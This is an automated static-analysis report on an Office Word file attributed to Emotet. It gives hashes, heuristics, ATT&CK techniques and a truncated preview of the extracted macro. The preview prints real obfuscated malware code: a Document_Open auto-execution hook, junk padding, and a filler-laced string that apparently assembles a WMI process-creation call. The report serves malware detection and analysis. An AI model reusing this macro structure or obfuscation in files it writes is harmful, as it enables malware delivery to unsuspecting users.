Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 b2071df64e4db229…

MALICIOUS

Office (OLE)

177.7 KB Created: 2020-09-01 21:00:00 Authoring application: Microsoft Office Word First seen: 2020-09-24
MD5: 9b6bcf37ad4e719ca14deaee7664fce8 SHA-1: 6c9cfa7d47e3c509daacc6f69cf857d2b439aa3c SHA-256: b2071df64e4db2294c052064e3ea12cc0c1fc20b73b7b93853e5b977506bcd39
202 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1105 Ingress Tool Transfer

The file contains VBA macros, specifically a Document_Open auto-execution macro, which is a common technique for Emotet. The macro uses CreateObject, indicating it likely attempts to download and execute a second-stage payload. ClamAV detection further supports the Emotet family attribution.

Heuristics 6

  • ClamAV: Doc.Downloader.Emotet-9635962-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Emotet-9635962-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 14911 bytes
SHA-256: bf3d2d59887fae0601042e7156c3c6f68be39746fd73e66594a37ef8b8fca276
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "O3fyh4voaouaj2g5"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub _
Document_open()
R36rx55zfdk7pt40.Xxiavk7h8gt7
End Sub


Attribute VB_Name = "R36rx55zfdk7pt40"
Attribute VB_Base = "0{721E2344-A795-4E29-865E-0B9338D1E20A}{7C21E1FC-6112-4241-9574-D78E362FB215}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function Xxiavk7h8gt7()
   On Error Resume Next
Set klshdfi3 = dhhdhdh
   Select Case ljzt86IG
      Case 455
         aTlU025 = Hex(9 - 51 / syab996 / ChrB(suJ))
         dKJA0 = hlZm2J4tq
         Set i3hj5k2 = kkh56jk
         UtSQ1 = Tan(69)
      Case 2
         bWV = Atn(Arft)
         TEM = 5
         Set sdfewe = ewrjjHGd
         SXxX = Sgn(23)
      Case 8
         TYgeX74 = CInt(TWJQ7)
         dOC = HRth5ZbW6
         prLG = Hex(320 / PObS71P18 + 456 * CBool(TPapT7q))
   End Select
   Set HKVkjS = HUIGHISw
   wDmj2z = 35 - 666
A59351zwon4b5ttz = 100
   On Error Resume Next
Set klshdfi3 = dhhdhdh
   Select Case ljzt86IG
      Case 455
         aTlU025 = Hex(9 - 51 / syab996 / ChrB(suJ))
         dKJA0 = hlZm2J4tq
         Set i3hj5k2 = kkh56jk
         UtSQ1 = Tan(69)
      Case 2
         bWV = Atn(Arft)
         TEM = 5
         Set sdfewe = ewrjjHGd
         SXxX = Sgn(23)
      Case 8
         TYgeX74 = CInt(TWJQ7)
         dOC = HRth5ZbW6
         prLG = Hex(320 / PObS71P18 + 456 * CBool(TPapT7q))
   End Select
   Set HKVkjS = HUIGHISw
   wDmj2z = 35 - 666
Kg08zanq_3k7nuykhm = ChrW(A59351zwon4b5ttz + (dccc + 5 + fbbf + 10))
   On Error Resume Next
Set klshdfi3 = dhhdhdh
   Select Case ljzt86IG
      Case 455
         aTlU025 = Hex(9 - 51 / syab996 / ChrB(suJ))
         dKJA0 = hlZm2J4tq
         Set i3hj5k2 = kkh56jk
         UtSQ1 = Tan(69)
      Case 2
         bWV = Atn(Arft)
         TEM = 5
         Set sdfewe = ewrjjHGd
         SXxX = Sgn(23)
      Case 8
         TYgeX74 = CInt(TWJQ7)
         dOC = HRth5ZbW6
         prLG = Hex(320 / PObS71P18 + 456 * CBool(TPapT7q))
   End Select
   Set HKVkjS = HUIGHISw
   wDmj2z = 35 - 666
P0bao4jlsvo = "34nnx)))) 9(((hwiqi ()()hnwjc234nnx)))) 9(((hwiqi ()()hnwjc2w34nnx)))) 9(((hwiqi ()()hnwjc2i34nnx)))) 9(((hwiqi ()()hnwjc2nm34nnx)))) 9(((hwiqi ()()hnwjc234nnx)))) 9(((hwiqi ()()hnwjc2gm34nnx)))) 9(((hwiqi ()()hnwjc2t34nnx)))) 9(((hwiqi ()()hnwjc234nnx)))) 9(((hwiqi ()()hnwjc2" + Kg08zanq_3k7nuykhm + "34nnx)))) 9(((hwiqi ()()hnwjc234nnx)))) 9(((hwiqi ()()hnwjc2:34nnx)))) 9(((hwiqi ()()hnwjc2w34nnx)))) 9(((hwiqi ()()hnwjc2in34nnx)))) 9(((hwiqi ()()hnwjc234nnx)))) 9(((hwiqi ()()hnwjc2334nnx)))) 9(((hwiqi ()()hnwjc2234nnx)))) 9(((hwiqi ()()hnwjc2_34nnx)))) 9(((hwiqi ()()hnwjc2" + R36rx55zfdk7pt40.W0vpt4jfromht + "34nnx)))) 9(((hwiqi ()()hnwjc2ro34nnx)))) 9(((hwiqi ()()hnwjc234nnx)))) 9(((hwiqi ()()hnwjc2ce34nnx)))) 9(((hwiqi ()()hnwjc2s34nnx)))) 9(((hwiqi ()()hnwjc2s34nnx)))) 9(((hwiqi ()()hnwjc2"
   On Error Resume Next
Set klshdfi3 = dhhdhdh
   Select Case ljzt86IG
      Case 455
         aTlU025 = Hex(9 - 51 / syab996 / ChrB(suJ))
         dKJA0 = hlZm2J4tq
         Set i3hj5k2 = kkh56jk
         UtSQ1 = Tan(69)
      Case 2
         bWV = Atn(Arft)
         TEM = 5
         Set sdfewe = ewrjjHGd
         SXxX = Sgn(23)
      Case 8
         TYgeX74 = CInt(TWJQ7)
         dOC = HRth5ZbW6
         prLG = Hex(320 / PObS71P18 + 456 * CBool(TPapT7q))
   End Select
   Set HKVkjS = HUIGHISw
   wDmj2z = 35 - 666
Atvqf5ra_xbg6k36b = Qgr_zuecocus878br(P0bao4jlsvo)
   On Error Resume Next
Set klshdfi3 = dhhdhdh
   Select Case ljzt86IG
      Case 455
         aTlU025 = Hex(9 - 51 / syab996 / ChrB(suJ))
         dKJA0 = hlZm2J4tq
         Set i3hj5k2 = kkh56jk
         UtSQ1 = Tan(6
... (truncated)